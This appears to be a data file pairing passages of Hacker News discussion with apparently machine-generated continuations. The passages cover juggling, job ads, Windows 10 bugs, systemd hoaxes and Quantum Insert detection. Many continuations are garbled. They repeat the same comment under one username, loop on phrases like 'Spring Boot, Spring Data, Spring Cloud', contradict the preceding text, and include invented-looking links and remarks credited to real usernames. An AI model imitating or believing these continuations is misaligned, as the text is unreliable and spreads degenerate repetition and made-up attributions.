that would be a good idea... Sounds like something that\ncould be significantly improved by compiling all patterns into a single\nstatemachine.\n\n~~~\naasasd\nYeah, back when I was doing similar matching on a big bunch of regexes, it was\nvastly faster to match on all of them lumped together in a group with the \u2018or\u2019\noperator. And"} +{"output_text": "HU)\n\n~~~\nKiro\nThanks!\n\n------\njoshu\nI'm not sure if this is a good idea.\n\nI've been doing this for a while, and I've noticed that I can't juggle 3\nballs. I can juggle 2, but I can't juggle 3.\n\nI'm not sure if it's because I'm not good enough, or if it's because I'm\ntrying to juggle 3 balls", "input_text": " other bag. Catch them both.\n\n8\\. Repeat without pausing another 100 times.\n\n9\\. Hold two bags in your dominant hand and one in your other hand. Toss the\nfirst, wait for the top of the arc and toss the second, wait for the top of\nthe arc and toss the third.\n\n10\\. You're juggling. Drop all the bags to celebrate.\n\n~~~\njay-anderson\nDefinitely. I've had a hard time convincing people to do the required\nrepetitions. They end early and say that they can't juggle. The few people\nthat have, successfully juggle in a relatively short amount of time. Their\nform isn't great and they can't keep it up for a long time, but they have a\ngreat start.\n\nA couple other exercises/tips worth mentioning:\n\n\\- Start with your non-dominant hand for 2 balls as well (alternate which hand\nyou start with).\n\n\\- Stand over a couch or bed to make it less costly to drop a ball.\n\n\\- Stand in front of a wall to notice when you're moving forward.\n\n\\- For the advanced: try two in one hand (much harder than 3). Will make 3\nball juggling easier.\n\n~~~\nKiro\n> try two in one hand (much harder than 3). Will make 3 ball juggling easier.\n\nWhat does this mean?\n\n~~~\nscbrg\nNot GP, but if I were to guess: Try juggling only two balls, but use only one\nhand. Here's a video for demonstration:\n[https://www.youtube.com/watch?v=9uMui692JHU](https://www.youtube.com/watch?v=9uMui692J"} +{"output_text": "[https://twitter.com/CoryLane](https://twitter.com/CoryLane)\n\n[https://twitter.com/CoryLane2](https://twitter.com/CoryLane2)\n\n[https://twitter.com/CoryLane3](https://twitter.com/CoryLane3)\n\n[https://twitter.com/CoryLane4](https://twitter.com/Cory", "input_text": " the federal officers.\nThe BLM-led Justice Center protests weren't the chaotic courthouse protests,\nand the 2-3k who came out for a week of feds has been less than 500 for most\nof the other 2 months and change. The west-side downtown protests in a 4-block\nzone around the center and courthouse aren't the east-side precinct and police\nunion HQ marches with local police chasing protesters and beating media into\nresidential neighborhoods.\n\nOr maybe I'm still just pissed about AGNB showing mayor Ted Wheeler in a\nsympathetic context, complete with his theatric tear gassing the one time he\ncame out to a protest, without the other context of how the PPB he runs as\npolice commissioner beats and gasses media and protesters as soon as cameras\nlike AGNB's left the fed protest stage - literally, PPB went out threatening\nto gas the same crowd he stood with within 45 minutes of Wheeler leaving the\nprotest.\n\nI guess my feeling is, some things aren't simple or clear enough to be\naccurately served by pithy but entertaining 5- or 10-minute videos. It's one\nlens, and a good one, but I get real nervous when people say AGNB is the model\nfor news.\n\nVery few links of people on the ground:\n\n[https://twitter.com/MrOlmos](https://twitter.com/MrOlmos)\n\n[https://twitter.com/TheRealCoryElia](https://twitter.com/TheRealCoryElia)\n\n[https://twitter.com/PDocumentarians](https://twitter.com/PDocumentarians)\n\n[https://twitter.com/Clypian](https://twitter.com/Clypian)\n\n"} +{"output_text": "\n \n 1) Phone screen (~30 minutes)\n 2) Onsite (~2 hours)\n 3) Offer\n \n We're a small team (~20 people) with a big vision. We're looking for people who\n are excited about working on a small team, building a product that will change\n the world, and who are willing to learn and grow with us.\n \n We're a small team (~20 people", "input_text": "), ElasticSearch, MySQL, Python, R (Data!)\n\nIf you're interested, contact andres.galindo at flexshopper.com\n\n~~~\nmrferos\nShould've specified, we're moving away from Deis V1 (CoreOS-based).\n\n------\nmookerji\n\n Swift Navigation | SF | Hardware/Infrastructure/Scientific Software Jobs | INTERNS / VISA\n \n Swift Navigation is looking for firmware, scientific tooling, and infrastructure\n software engineers to work with us on high-precision GPS receivers\n (https://github.com/swift-nav/). We're shipping this week (!) the world's first\n low-cost, multi-constellation, inch-accurate satellite navigation receiver for\n autonomous vehicle applications. Questions? Email Buro (mookerji@swiftnav.com)\n or Margaret (jobs@swiftnav.com) or apply to https://jobs.lever.co/swift-nav.\n \n + Firmware (Production embedded programming on the Zynq platform, FPGA-based\n DSP, C, C++, Python, VHDL, real-time Linux).\n \n + Scientific Python Tooling (production scientific Python for product\n prototyping, testing, and analysis).\n \n + Web and internal platform infrastructure (front ends, rear ends, services,\n production programming, Haskell, Python, JS, C++, containerized distributed\n workflows, etc. etc. etc.).\n \n + Interns with interesting project experience in any of the above, or interested\n in hacking together hardware/software demos for new applications, integrating\n UAV autopilots.\n \n Our interviews have a few steps:"} +{"output_text": " in your garden with a robot.\n\n~~~\njessaustin\nI'm not sure that's true. The article says that the robot will only remove\nweeds that are in the collar.\n\n~~~\ndajonker\nI think the point is that you can't just remove all weeds in your garden, you\nhave to remove them from the collar.\n\n------\njessaustin\nI'm not sure I understand the point of this. If you", "input_text": "\nwhere the video is you should be able to check it out.\n\n------\namadeusw\nAm I wrong thinking that after a few weeks of cutting the leaves, the root\nwill become gigantic and will keep producing leaves at a faster rate? The only\nway to get rid of dandelions is to pull the ever growing root from the ground.\n\n~~~\ntwic\n_How does it remove them? Won\u2019t the weeds just grow back?_\n\n _Tertill whacks weeds using a spinning string trimmer, which cuts the weed\noff near the ground. Because Tertill lives in your garden and goes looking for\nweeds every day, weeds are always small when the robot finds them. A whacked\nweed may sprout again, but sprouting takes energy stored in the seed or root.\nBy coming back every day, Tertill never lets a weed develop the leaves it\nneeds to replenish this energy, so eventually the weed gives up and dies._\n\n[https://www.tertill.com/how-it-works/](https://www.tertill.com/how-it-works/)\n\n~~~\nTremendousJudge\nthey managed to invent something even more stubborn than garden weeds\n\n------\nrmason\nSo you will end up with a bunch of weeds inside your collar. Someone hasn't\nthought this through. I've walked a lot of fields over a twenty year period,\nweeds aren't always in the middle of the rows.\n\n~~~\nnoobiemcfoob\nSo...you pick the weeds out of the collar? You've reduced the land you have to\nmaintain to just that which this robot can't get to.\n\n------\ndajonker\nTLDR; you are supposed to get rid of all weeds"} +{"output_text": " it is\nequally important to evaluate yourself.\n\n------\njoshu\nI've been in the same position. I've been in a few places that were\nunpleasant, but I've also been in a few places that were great.\n\nI think the key is to find a place that is a good fit for you.\n\nI've been in places where I was the only person who was happy. I've been in\nplaces where I was the only person", "input_text": " No, NO, No (to all the tips and shortcuts)\n\nYour first job out of college has a high probability of being a bad fit and\nthis is especially true if you're desperate to just get hired. So, it didn't\nwork out... happens a lot. The important thing to do is to figure out what YOU\nwant out of a job/workplace and to assess what that potential job can do for\nyour career.\n\nI think its a waste of time to try to figure out some minimal set of \"red\nflags\" to use for future interviews. Just look at the big picture, there's no\nsingle red-flag that will tell you definitively that a place is miserable (nor\nis there a single observation that signals an awesome place-- foozball and\nsnacks won't make up for asshole-driven management).\n\nPerhaps even more important than what you observe during an interview is to\nreally examine your own needs and expectations. SOoooo many people are unhappy\nWHEREVER they go and always blame it on management, co-workers, the industry\nor whatever. This kind of serial discontent is a sign that the there's\nsomething wrong with the individual rather than their workplace(s).\n\n~~~\njudahmeek\nDo you have statistical evidence to support your claim regarding serial\ndiscontentment?\n\n~~~\ncrispyambulance\nNo. I don't know why anyone would even attempt such an experiment. These are\nvery subjective topics and it would be hard to even pose a testable\nhypothesis. My claim is based strictly on life experience.\n\nAll I am saying is that people who take on one job after another and remain\nunhappy would benefit from some serious introspection.\n\nIn other words, as important as it is to evaluate potential employers,"} +{"output_text": " the\nupdates.\n\n~~~\njosteink\n> File explorer freezes / crashes.\n\nI've been using Windows 10 for a few months now and I've never had this\nproblem.\n\n> There is that one empty folder on my desktop that I cannot delete because\n> it is in use, but there is nothing in the folder and no program is\n> conceivably using it.\n\nI've had this problem too. I've tried deleting the", "input_text": " the old one.\n\n~~~\nzamadatix\nMost things in Settings aren't in the Control Panel and a lot of what is in\nthe Control Panel opens the Settings app (e.g. Control Panel -> Default\nPrograms -> Set your default programs)\n\n------\nsuby\nIt's worth a mention just how buggy win10 has been for me. I don't spend much\ntime working in windows, but every time I do I encounter one issue or another.\n\nFile explorer freezes / crashes.\n\nThere is that one empty folder on my desktop that I cannot delete because it\nis in use, but there is nothing in the folder and no program is conceivably\nusing it.\n\nThere are occasional glitches with git. It wouldn't let me clone a git repo\nsomewhere because it said the folder already existed. No such folder existed.\nChanging the destination name did nothing. Restarting fixed it.\n\nThere was a bug which kept rearranging the order of desktop icons, which was\nactually pretty annoying.\n\nThere is a bug that they seem to fix and then break with every other update.\nBasically, if I go fullscreen with some programs and two monitors set to\nmirror, the resolution zooms in and it's unusable. This is currently broken in\nthe latest stable release.\n\nInstalls from the windows store almost always fail for no obvious reason.\n\nI updated to 1909, or w/e the latest is, hoping that some of the isues I've\nencountered would be fixed. I've reinstalled the driver and tried fixing it\nbut the USB wifi adapter that I have now no longer works (still works fine in\nLinux).\n\nI could go on. That is with me going out of my way to not install"} +{"output_text": "\n\n\\- Experience with big data technologies (Hadoop, Spark, Hive, Impala,\nKafka, \u2026)\n\n\\- Experience with real-time technologies (Storm, Spark Streaming, Flink,\nKafka, \u2026)\n\n\\- Experience with machine learning technologies (Weka, Spark MLlib, TensorFlow,\n\u2026)\n\n\\- Experience with data processing technologies (HBase, Cassandra, MongoDB,\nPostgreSQL, \u2026)\n", "input_text": "as that\nrepresent and support business processes \\- Git code versioning tool \\-\nHeroku\u2019s deployment, logging, and add-on resources. \\- Hosted Search APIs and\nhow to efficiently integrate with third party data stores (specifically\nAlgolia).\n\nExperience: 2-4 years Apply here:\n[https://cycle.workable.com/jobs/419205](https://cycle.workable.com/jobs/419205)\nInterview process:\n\n\\- Recruiter application/resume screening \\- Recruiter phone screening \\- On-\nsite interviews with key stakeholders and senior software engineers \\- On-site\nor take-home technical coding challenge/exercise\n\n------\nmsavelyev\nmbr targeting / Str\u00f6er Digital Group | Big Data Engineer | Berlin, Germany |\nFull-time, On-Site\n\nAt mbr targeting in Berlin we are developing and scaling the core technology\nthat powers Germany's market leading digital advertising company Str\u00f6er.\n\nWith online advertising being one of the most challenging fields in high\nperformance computing and data processing, we are working at the cutting edge\nof big data, machine learning and real-time technologies and we are operating\nlarge-scale deployments of real-time web services.\n\nTo expand our team of highly skilled engineers we are looking for talented\nengineers who either already have some experience with big data technologies\nor who are willing to expand their skill set into the area of these\ntechnologies.\n\nThe languages we're speaking are Java, Scala and Python (if you\u2019re fluent in\nonly one of them that's fine!) and technology buzzwords include Hadoop, Spark,\nFlink, Storm, Hive, Impala, Kafka, Druid, \u2026\n\nAlso we\u2019re looking for the following:"} +{"output_text": "\n\n------\njoshu\nI'm not sure if this is the same thing, but I remember a similar one from\nmiddle school:\n\n\"I saw a saw to saw a saw\"\n\n------\njoshu\nI'm not sure if this is the same thing, but I remember a similar one from\nmiddle school:\n\n\"I saw a saw to saw a saw\"\n\n------\njoshu\nI'm not sure if this is the", "input_text": " hinter fliegen fliegen, fliegen fliegen fliegen hinter nach.\n\nIt means something like, \"when flies fly behind flies, then flies fly after\nflies.\"\n\n~~~\njimbokun\nShouldn't there be time and arrows in there somewhere?\n\n~~~\nLogicHoleFlaw\nTime flies like an arrow; fruit flies like a banana.\n\n~~~\nBearOfNH\nTime flies like an arrow; space flies like a bow.\n\n------\ncode_devil\nI remember one from grade 5 which is kind of similar... \"I saw a saw to saw a\nsaw \"\n\n(The Buffalo based is definitely not easy to comprehend in the first go)\n\n------\ncadr\nMake sure to click the 'Listen to this article' link at the bottom - many\nWikipedia articles are _much_ funnier if someone is reading them to you.\n\n------\ndonaq\nI am also reminded of Marklar from South Park.\n\n------\nbiggitybones\nEverytime I come across this I have to go to the wikipedia page to check the\ngrammar.\n\nI find these types of sentences incredibly creative (and confusing).\n\nA similar thing, inspired by buffalo and illustrated:\n\n\n------\nseanlinmt\nwe have something similar in the hokkien dialect.. which goes.. kong kong\nkong kong kong kong kong kong kong kong\n\nwhich consists of... kong kong = grandpa kong = says kong = can kong = hit\nkong = dizy\n\nbut you have to get the intonation right.. lol"} +{"output_text": " person team that is building a platform to help\nbusinesses and organizations build and manage their own internal software\ndevelopment teams. We are looking for a full-stack software engineer to join\nour team.\n\nWe are looking for someone who is passionate about building software and\nenjoying the process of building software. We are looking for someone who\nthinks about the big picture and is able to communicate that vision to the\nteam. We are looking for someone who is able to work", "input_text": " link end with c009b47332cb75b8659692753eed58ff\n\n------\narthurcl\nFujitsu RunMyProcess | Site reliability Engineer | Paris, France |\nONSITE,VISA, [https://www.runmyprocess.com](https://www.runmyprocess.com)\n\nAs an innovation subsidiary of the Fujitsu group we develop, operate and sell\nan innovative cloud platform that helps our customers build and run\napplications that connect people, processes and systems.\n\nWe are looking for a site reliability engineer to join our Devops team that is\nresponsible for building and operating our platforms. Stack : AWS, CentOS,\nAnsible, Chef, Capistrano, JBoss, Docker, CoreOS, Prometheus and soon\nKubernetes.\n\nYou will: * Take a leading role in the operation and maintenance of our\nproduction platforms. * Join the oncall rotation team. * Work closely with our\ndevops and developers to build and scale our infrastructure constantly. *\nPartial remote work possible.\n\nYou profile: * 2+ years experience working as sysadmin, devops or related\nfield in critical/demanding environment. * Linux and OSS passionate (we are\nCentOS centric). * Experienced with automation tools (Ansible). * Experienced\nwith AWS.\n\nAvoid the confidence gap, you do not have to match all the listed requirements\nexactly to apply.\n\nApply: Arthur Cl\u00e9ment, arthur@runmyprocess.com\n\n------\ntreyreynolds\nAbilitie | Full-Stack Software Engineer | Austin, TX | Full-Time |\n[http://www.abilitie.com](http://www.abilitie.com)\n\nAbilitie is an energetic 10"} +{"output_text": " case is a good example of how the FDA can be\noverwhelmed.\n\n[https://en.wikipedia.org/wiki/Showa_Denko_K.K._v._United_Sta...](https://en.wikipedia.org/wiki/Showa_Denko_K.K._v._United_States)\n\n------\nDrScump\nI think the real question is, \"What is the point of having a human-level\nintelligence if", "input_text": " nuance required for high skilled use cases or jobs, well, that's still not enough.

Your thoughts?\n======\nforgotmypw17\nIn terms of human development, publicly available and disclosed machine\nintelligence has reached what in human child development would be considered a\nmajor new milestone.\n\nPreviously, Eliza and the likes could only mimic basic speech construction,\nwith increasing levels of correctness.\n\nNow, GPT-3 can mimic meaning and understading, rather convincingly. Its\nmistakes are akin to a child's naive questions.\n\nI would put its equivalent human age at about 3-5 years old. Sometimes 5-year-\nolds can come up with nonsense, and sometimes you have an \"out of the mouths\nof babes\" moment.\n\nThat's really huge, IMO.\n\n \nMore than 1000 drug plants never inspected - sndean\nhttp://cen.acs.org/articles/95/i5/1000-drug-plants-never-inspected.html\n======\nCerium\nThis is not really surprising. The FDA has to be very careful with how they\nmanage their resources. Before being allowed entry to the USA, the company\nmust file information about what they are doing and where and who they are.\nThey must also have a representative in the USA. All this information allows\nthe FDA to quickly find the source of problems and stop them should a\nsituation arrive.\n\nIf we handled this in any other way it would place an undue burden on either\nthe taxpayer or the companies. Who should pay the inspection fees for a\ncompany importing very small volumes?\n\nIn the end, yes it is shocking, but the system generally works.\n\n~~~\nDrScump\nThe Showa Denko K.K."} +{"output_text": " to record data for a period of up to two\nyears. The data is stored in a secure location and is not accessible to the\ndriver or any other person. The EDR is not a diagnostic tool and does not\nprovide any information about the vehicle's condition. The EDR is not\nintended to be used for any other purpose. The EDR is not a substitute for\nthe driver's own observations and driving skills. The EDR is not intended to\nbe used for", "input_text": " of the addon driving monitors in their car to get an\ninsurance discount. It lasted about a month. Apparently they drive like\nmaniacs.\n\n------\nanm89\nWhat a nightmare. Avoiding owning a car starts to sounds better and better\nevery day.\n\n------\njdhn\nTo paraphrase Charlton Heston, you can pry my my manual transmission, non-\ninfotainment having car from my cold, dead hands!\n\n------\nbvanderveen\nJust go buy a pre-2012 Toyota, take it to a reputable independent Toyota-\nspecific shop in your area, and say \"make it good, boss\". Pay him whatever he\nasks.\n\nThen go find an insurance broker, ask them to put you in touch with someone\nwho can provide you with an agreed-value insurance policy. Insure the vehicle\nfor purchase price + what the shop changed you.\n\nGet regular oil changes at Jiffylube, and take the car into the Toyota guy\nonce a year. Although it may not be flashy, you'll have a reliable, efficient\nride for many, many years.\n\nNew cars simply aren't worth the creepy factor.\n\n------\nzepearl\nI just bought a Volvo (but I didn't get it yet) => apparently all Volvos have\nan embedded \"Event Data Recorder\":\n\n _This vehicle is equipped with an \"Event Data Recorder\" (EDR). Its primary\npurpose is to register and record data related to traffic accidents or\ncollision-like situations, such as times when the airbag deploys or the\nvehicle strikes an obstacle in the road. The data is recorded in order to\nincrease understanding of how vehicle systems work in these types of\nsituations. The EDR is designed"} +{"output_text": "ocate: Yes Technologies:\nJava, Spring, Spring Boot, Spring Data, Spring Cloud, Spring Security,\nSpring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Data, Spring\nCloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Data,\nSpring Cloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring\nData, Spring Cloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot,\nSpring Data, Spring Cloud, Spring", "input_text": "ashwat-\nresume.pdf](https://shashwatsingh.me/data/shashwat-resume.pdf)\n\nEmail: shashanoid@gmail.com\n\nGithub: [https://github.com/shashanoid](https://github.com/shashanoid)\n\n------\nsaltmaster\nI enjoy working as a full stack developer but have been more focused on front\nend in the past year. I\u2019m a fast learner and have been developing in a few\nlanguages for the last 10 years. Currently working in Rotterdam but I'm open\nto new opportunities.\n\nLocation: Rotterdam, NL / The Netherlands\n\nRemote: No\n\nWilling to relocate: No\n\nTechnologies: PHP, JS, MySQL, Node, Vue\n\nR\u00e9sum\u00e9/CV: [https://umja.nl/](https://umja.nl/)\n\nEmail: tim@umja.nl\n\n------\ndeepakvig180\nLocation: Vancouver, Canada Remote: Yes Willing to relocate: No Technologies:\nRuby on Rails, JavaScript, Go; NodeJS, GraphQL, React/Vue, HTML/CSS, Docker\nR\u00e9sum\u00e9/CV:\n[https://drive.google.com/open?id=1ZnLE4Qo3U5lpgASM-B7ueaSgTj...](https://drive.google.com/open?id=1ZnLE4Qo3U5lpgASM-B7ueaSgTj0F5Iko)\nEmail: deepakvig@gmail.com\n\n------\naswathrao\nLocation: TamilNadu,India Remote: Yes Willing to rel"} +{"output_text": "free electricity.\n\n~~~\nsombremesa\nI think the article is talking about the future of commercial aviation.\n\n------\njedberg\nI think this is a great idea.\n\nI think it's a bad idea to use it in production code.\n\nI think it's a bad idea to use it in a library.\n\nI think it's a bad idea to use it in a framework.\n\nI think it's a bad idea to use", "input_text": "/doxygen/v8_chromium_r157275/classv8_...](http://blog.peschla.net/doxygen/v8_chromium_r157275/classv8_1_1internal_1_1_symbol_key.html)\n\\- it's\n\n------\nxienze\n> Sometimes it would be awfully convenient to stash some extra data on a\n> JavaScript object that really belongs to someone else.\n\nConvenient yes, a good idea, no.\n\n> Other code using for-in or Object.keys() may stumble over the property you\n> created.\n\n> The standard committee may decide to add an.isMoving() method to all\n> elements. Then you\u2019re really hosed!\n\nSo I dunno, maybe don't stash properties into an object that doesn't belong to\nyou? It's this sort of thing that makes me hate the culture around JavaScript.\nHacks upon hacks upon hacks just to save a little effort.\n\n~~~\nsombremesa\nI don't see why they didn't just use an Object/dictionary. Shouldn't be slow\nto iterate and solves this exact use case.\n\n \nRolls-Royce Touts Nuclear Reactors as Key to Clean Jet Fuel - JumpCrisscross\nhttps://www.bloomberg.com/news/articles/2019-12-06/rolls-royce-pitches-nuclear-reactors-as-key-to-clean-jet-fuel\n======\nnradov\nIn the long run this will also be the future of merchant shipping. We can't\ngenerally install nuclear reactors in civilian vessels due to high costs and\nsecurity concerns. But we can use nuclear power on shore to produce carbon\n"} +{"output_text": " chair is a bit more expensive\nthan the lap desk, but it's a lot more comfortable. I use it with a keyboard\nand mouse, and a trackball.\n\n3\\. A small table. I use this for my phone, and a small laptop.\n\n4\\. A small table. I use this for my phone, and a small laptop.\n\n5\\. A small table. I use this for my phone, and a small laptop.\n\n6\\. A", "input_text": "https://www.ikea.com/us/en/p/lisabo-coffee-table-ash-\nveneer-70297658/) The sheepskin is from sheepskin town, but any cushioning\nthat softens the floor for your ankles/knees is good.\n\n~~~\njohnchristopher\nThanks a lot, much appreciated!\n\nI was browsing though the different pillow/cushion and was a bit worried at\nfirst by the $150 zafu/zabuton but it looks like there are ~$50 ones so I can\ngive it a try.\n\n------\ngagabity\nThe Ikea POANG recliner chair, you know the one, is the most comfortable chair\nI have ever used, you need to rearrange your desk setup because its so low and\nleaned back but once you have it destroys any other option out there, your\nback is just relaxed.\n\n~~~\ntonyedgecombe\nI can sit and read in mine but I can't imagine trying to work in it.\n\n------\npolote\nI have been trying to find info on laying down desks and chairs in the past\nfew weeks, but there is really not a lot of people who have experienced with\nit. If you had, please comment here\n\n~~~\nmegameter\nHere is my setup, which is a very inexpensive, low-footprint way of doing it:\n\n1\\. A large lap desk. This is a powerful tool for adding flexibility as you'll\nsee. It lets you keep all the peripherals near you. I currently use it with a\nUSB hub, a 65% mechanical keyboard, a keypad with macro functions, and a\ntrackball mouse.\n\n2\\. A floor chair with reclining functions. The"} +{"output_text": " only thing I would like to see is a way to have\nmultiple accounts on the same device. I have a few accounts on my phone, and\nI'd like to be able to have them all sync up.\n\n~~~\nkinlan\nWe are working on this. We are also working on a way to have multiple accounts\non the same device.\n\n------\njoshstrange\nI'm not sure I understand the value of this. I have a few accounts on", "input_text": " along with Vox itself) declared that they were going web-\nonly:\n\n[http://www.theverge.com/2014/9/2/6096609/welcome-to-\nverge-2-...](http://www.theverge.com/2014/9/2/6096609/welcome-to-verge-2-0)\n\nIt doesn't seem to have hurt them - but push notifications are probably the #1\nfeature that differentiates between webapps and native apps in a context like\nthis. I wonder if they'll take advantage.\n\n(as with all things mobile web, this comes with the huge caveat that Apple\nhave no intention of doing this (despite having similar functionality on\ndesktop), and want to force everyone to use native apps, so it's unlikely to\nbe a complete solution any time soon)\n\n~~~\nsosborn\nPersonally I can't think of anything I want less than push notifications from\nwebsites.\n\n~~~\nuntog\nWhy, though? Or, put another way, why are push notifications from apps fine\nwhen push notifications from web sites are not?\n\n~~~\nsosborn\nHonestly the only notifications I care about are email, text messages and\nphone calls. The rest can all go to hell. Again, this is just my personal\ntaste.\n\n~~~\nkinlan\nI think that is fine. You can disable notifications and push completely, and\nyou can not accept the prompt if you don't want to go that far. We are trying\nto be careful and make this opt-in only and clear to the user about the value\nthat they can get from it (if they choose it)\n\n------\nthemodelplumber\nThis is cool to see. The"} +{"output_text": " development.\n\n------\njgrahamc\nI'm not sure that the author is correct. I think that the Nobel Prizes are\ngiven to people who have made a significant contribution to science.\n\nI think that the Nobel Prizes are given to people who have made a significant\ncontribution to science.\n\n~~~\njgrahamc\nI'm not sure that the author is correct. I think that the Nobel Prizes are\ngiven to people who have made", "input_text": ", has graduated in physics, and\nhas actually worked in research for some time. Angela Merkel (coming from\nEastern Germany) has also a scientific background (in physics and chemistry).\n\nBut otherwise, it seems you are right about the fact that there is no such\nrule about post-totalitarian leaders being educated in engineering or sciences\nin general.\n\n~~~\nllcoolv\nI stand corrected - just read that Havel has studied economcs for only two\nyears before dropping out and that's probably the reason I have remembered him\n(wrongly) as an economist - I must have read it somewhere and it has probably\nstuck in my mind.\n\nBtw, the rest of the Eastern European countries can learn a lot of things from\nthe Czechs.\n\n------\nshmulkey18\nPerhaps this should cause some reflection on the following question: why do\nscientists seem to be disproportionately inclined to serve authoritarian\nregimes?\n\nMy guess is that scientists believe that people like themselves -- people\nwhose ability in one field they imagine transfers to many others -- should\ncontrol the world, and those that they consider their intellectual inferiors\nshould shut up and surrender control to cognitive ubermenschen.\n\nUnfortunately, that idea hasn't worked out too well in the past.\n\n------\nstcredzero\n_Oh, we forgot about our head of the class: China. Astonishingly, since 1980\nChina has not won a single scientific Nobel Prize. Keep in mind, this is a\ncountry of 1.3 billion people._\n\nIf China is ruled by engineers, then it is ruled by groups that understand the\neconomic implications of the rocket equation and how this can be overcome\nusing existing technology. Moving off-world is going to be the next huge\nwatershed in human history and economic"} +{"output_text": "] I'm not sure how you'd do that, but I'm sure it's possible.\n\n~~~\nskrebbel\nI don't think it's post-capitalism, it's just capitalism.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article. It seems to be saying\nthat the video was produced by a company that is not the actual company that\nis selling the phone.\n\n~~~\n", "input_text": " saw a high production value\nrendering of a yet to be released phone for a second tier company?\n\n~~~\ngibolt\nPretty sure Lenovo isn't a second tier company...\n\n~~~\njoezydeco\nGoogle gutted Motorola Mobility for its intellectual property and then sold\nthe carcass to Lenovo.\n\nThe smarter employees left for greener pastures even before the sale was\ncomplete. What's left isn't even third tier.\n\n------\nsonnyblarney\nOdds are it was some random person at an agency or in marketing, or contracted\nto do some little thing... and either didn't think about the issue or didn't\ncare to.\n\nFrankly I'm surprised this kind of stuff doesn't happen more often.\n\nEdit: And I'm speaking from experience. Large companies are not as\nspecifically coordinated as people sometimes ascribe them to be. And nobody in\nmarketing or any other dept. wants to deal with legal review of anything if\nthey can avoid it.\n\n~~~\nusrusr\nProbably subcontracted so many layers deep that the person who eventually sold\nsome random internet video as their own did not even reach a particularly high\nhourly rate using the shortcut.\n\n------\njonny_eh\nWait, they're promoting a product that doesn't exist?\n\n~~~\nskrebbel\nYes, and nobody understands why. Beautiful, isn't it :-)\n\n~~~\nbenj111\nPost capitalism? You don't need to _make_ anything, just announce products\npeople want to buy, regardless of whether they're actually buildable. Next\nstep, raise billions of $ on the back of the 'product', then presumably\nsell[1] empty boxes for all those unboxing videos.\n\n[1"} +{"output_text": " adversary?\n\n~~~\njlgaddis\nI would say something.\n\n------\njlgaddis\nI'm not sure if this is a Quantum Insert attack or not, but I've seen a few\ncases where the client would send a SYN-ACK to the server, but then immediately\nsend a RST to the server.\n\n------\njlgaddis\nI'm not sure if this is a Quantum Insert attack or not, but I've seen", "input_text": " hard? You need a buffer of TCP data, that was\npossibly already passed to application.\n\n1) Is there a kernel patch yet?\n\n2) \"HoneyBadger is a passive TCP protocol analyzer whose only purpose in life\nis to detect and optionally record TCP injection attacks.\"\n[https://github.com/david415/HoneyBadger_docs/blob/hackpad1/s...](https://github.com/david415/HoneyBadger_docs/blob/hackpad1/source/how-\nto-badger-the-puppet-masters.rst#tcp-injection-attack-categories)\n\n------\nhkparker\nI wrote a script a while ago in Go to detect quantum insert attacks. It's not\nperfect but its well commented. I noticed quite a few detections when I ran it\nfor a few days but they seemed to be benign, probably retransmissions.\n\n[https://gist.github.com/hkparker/97548b2c0c79a9149f50](https://gist.github.com/hkparker/97548b2c0c79a9149f50)\n\n------\ntempodox\n_... I can only churn out so much linkbait, even for the sake of science._\n\nAs a consolation, I offer the idea that the sum of linkbait in the universe is\nconstant. And since the days of Max Planck & Erwin Schr\u00f6dinger, no-one can\nknow the contents of a link until you klick it.\n\nIf we produce enough quantum haze, the NSA might just get confused.\n\n------\nagd\nIf you detected a Quantum Insert attack against you, would you even say\nanything? Why alert your"} +{"output_text": " Kroah-\nHartman is the one who started it.\n\n~~~\n616c\nI am also disappointed that the article is not more about the actual systemD\nproject. I am not sure if it is a hoax, but it is a very interesting project\nand I am glad to see it getting some attention.\n\n------\n616c\nI am not sure if this is a hoax, but I am disappointed that the article is not\nmore about the actual", "input_text": "sliverstorm\nI forgot to clarify, running the dev build on Ubuntu. I am using 10.04 right\nnow.\n\n \n\nThe Systemd Project Forks the Linux Kernel - dezgeg\nhttp://distrowatch.com/weekly.php?issue=20150330#community\n\n======\nhleszek\nChecking the calendar: not yet first april...\n\n~~~\ncomputer\nLooks like a weekly magazine, so this edition would cover April 1st.\n\n------\nsspiff\nThis is not the real systemD repository. This is just some random guy on the\ninternet who snagged the GitHub username \"systemdaemon\".\n\nHave a look here:\n[https://github.com/systemdaemon](https://github.com/systemdaemon)\n\nA profile created two weeks ago, with a single repository, 0 stars and 1\ncommit over its entire lifetime.\n\nThis is a transparant hoax, and I don't understand how Distrowatch (and the HN\ncommunity) has not seen through it yet...\n\n~~~\n616c\nThanks for shedding real data on the issue. I was skeptical myself. I checked\nout Poettering's Google+ profile and see no mention of this yet, and I was\nkind of surprised.\n\n------\n616c\nI am kind of disappointed that there is some baity qualities to this article,\nspecifically referencing how Linus chewed out a systemd developer. He did\nthat, but I recall it not being directly related to his work on systemd and it\nnegatively impacting the kernel. Kay Sievers is a well-known problem causer as\nLinus is concerned, so this is not news.\n\nKeep in mind if you find the mailing list thread referred to, Greg"} +{"output_text": " we're very focused on the people side of things. We have a\nculture of learning, growth, and fun. We're looking for people who are\npassionate about health, love to learn, and want to work on something that\nwill have a huge impact on people's lives.\n\nWe're looking for:\n\n* Senior Software Engineer (Go)\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Front End)\n\n* Senior Software Engineer", "input_text": "\ntime.\n\n[http://www.airteam.com.au/](http://www.airteam.com.au/)\n\nWe design and develop digital products for some of Australia's most prominent\nbrands.\n\nWe are looking for someone with a background in agencies, consulting or\nproduct development to help us grow our business through recruiting and\nmarketing our brand through social media, communications and at events.\n\nIf interested contact rich at airteam dot com dot au with a CV or covering\nemail.\n\nOnsite only, flexible arrangements, no recruiters please.\n\n------\namattn\nCollective Health, (\n[https://collectivehealth.com/jobs/](https://collectivehealth.com/jobs/) ),\nSan Francisco (very near caltrain), CA (Full time, ONSITE only, VISA case-by-\ncase, see below)\n\nWe're replacing health insurance with a system that members love. Using our\nSW, platform and services, an employer can pay doctors directly, saving a ton\nof money and making the employee experience amazing (with the testimonials to\nback it up). The company is well-funded, ~two and a half years old and growing\nvery rapidly with sales traction. We punch well above our weight-class with\nexperienced founders, ~250 team members (~ one quarter is engineering), and\npaying customers.\n\nOur tech stack is a mix of Go and Java components with Angular on the front\nend. We use a custom service bus to tie our SOA together, microservices style.\nWe love Docker, CoreOS, postgres, automated testing, and continuous\nintegration. We've got some neat in-house tools for service discovery, health\nchecks, 